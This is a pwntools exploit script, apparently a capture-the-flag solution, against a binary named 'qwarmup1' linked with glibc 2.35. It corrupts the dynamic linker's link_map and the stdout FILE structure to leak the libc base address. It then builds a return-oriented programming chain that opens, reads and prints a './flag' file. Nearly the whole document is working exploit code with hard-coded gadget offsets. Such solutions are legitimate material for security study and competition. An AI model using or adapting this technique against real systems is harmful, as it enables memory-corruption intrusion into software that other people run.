1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
| from multiprocessing import context from signal import pause from pwn import *
elf = ELF("./qwarmup1") ld = ELF("./ld-linux-x86-64.so.2") libc = ELF("./libc.so.6")
context(arch='amd64')
cmd = "set debug-file-directory /home/yhellow/tools/debuglibc/2.35-0ubuntu3_amd64/usr/lib/debug/\n"
p = gdb.debug("./qwarmup1",cmd)
def write(offset, bytes, tag=True): for i, byte in enumerate(bytes): p.send(p64(offset + i)) p.send(p8(byte)) if tag: p.recvuntil(b"Success!")
p.send(p32(0xf0000)) size_addr = 0x408c link_map_offset = 0x3592e0-0x10 write(link_map_offset, p8(size_addr-4 - elf.got["write"]))
_IO_2_1_stdout_ = libc.sym['_IO_2_1_stdout_'] _IO_2_1_stdout_offset = _IO_2_1_stdout_+0xf4000-0x10 write(_IO_2_1_stdout_offset,p32(0xfbad1800)) write(_IO_2_1_stdout_offset+0x28,b'\xff') success("_IO_2_1_stdout_ >> "+hex(_IO_2_1_stdout_)) success("_IO_2_1_stdout_offset >> "+hex(_IO_2_1_stdout_offset))
r_debug_offset = 0x359118-0x10 write(r_debug_offset+34,b"_IO_flush_all") write(link_map_offset+0x40+5*0x8, b'\xb8', False) libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x21ba70 success("libc_base >> "+hex(libc.address))
write(link_map_offset+0x40+5*0x8, b'\x78')
heap_addr = libc.address - (0xf4000 - 0x10) success("heap_addr >> "+hex(heap_addr))
write(_IO_2_1_stdout_offset,p32(0x800)) write(_IO_2_1_stdout_offset+0xc0,p8(0xff)) write(_IO_2_1_stdout_offset+0x48,p64(heap_addr)) _IO_wstrn_jumps = libc.address + 0x215dc0 write(_IO_2_1_stdout_offset+0xd8,p64(_IO_wstrn_jumps+0x28))
_IO_wide_data_1_offset = 0x30d9a0-0x10 write(_IO_wide_data_1_offset+0x20,p8(0x2)) write(_IO_wide_data_1_offset+0xe0,p64(heap_addr+0x110-0x18))
svcudp_reply26 = libc.address + 0x16a1fa pop_r12_r13_r14_ret = libc.address + 0x000000000002be4c pop_rsi_ret = libc.address + 0x000000000002be51 pop_rdi_ret = libc.address + 0x000000000002a3e5 pop_rdx_r12_ret = libc.address + 0x000000000011f497 pop_rax_ret = libc.address + 0x0000000000045eb0 leave_ret = libc.address + 0x00000000000562ec read_addr = libc.sym['read'] write_addr = libc.sym['write'] syscall_ret = libc.address + 0x91396
rop = flat( [b'./flag\x00\x00', pop_r12_r13_r14_ret], [0xdeadbeef, heap_addr - 8], [leave_ret, pop_rdx_r12_ret], [0xdeadbeef,0xdeadbeef], [pop_rdi_ret, heap_addr], [pop_rsi_ret, 0], [pop_rdx_r12_ret, 0], [0xdeadbeef, pop_rax_ret], [2, syscall_ret], [pop_rdi_ret, 3], [pop_rsi_ret, heap_addr], [pop_rdx_r12_ret, 0x40], [0xdeadbeef, read_addr], [pop_rdi_ret, 1], [pop_rsi_ret, heap_addr], [pop_rdx_r12_ret, 0x40], [0xdeadbeef, write_addr], svcudp_reply26 )
write(0,rop) write(link_map_offset+0x40+5*0x8, b'\xb8', False)
p.interactive()
|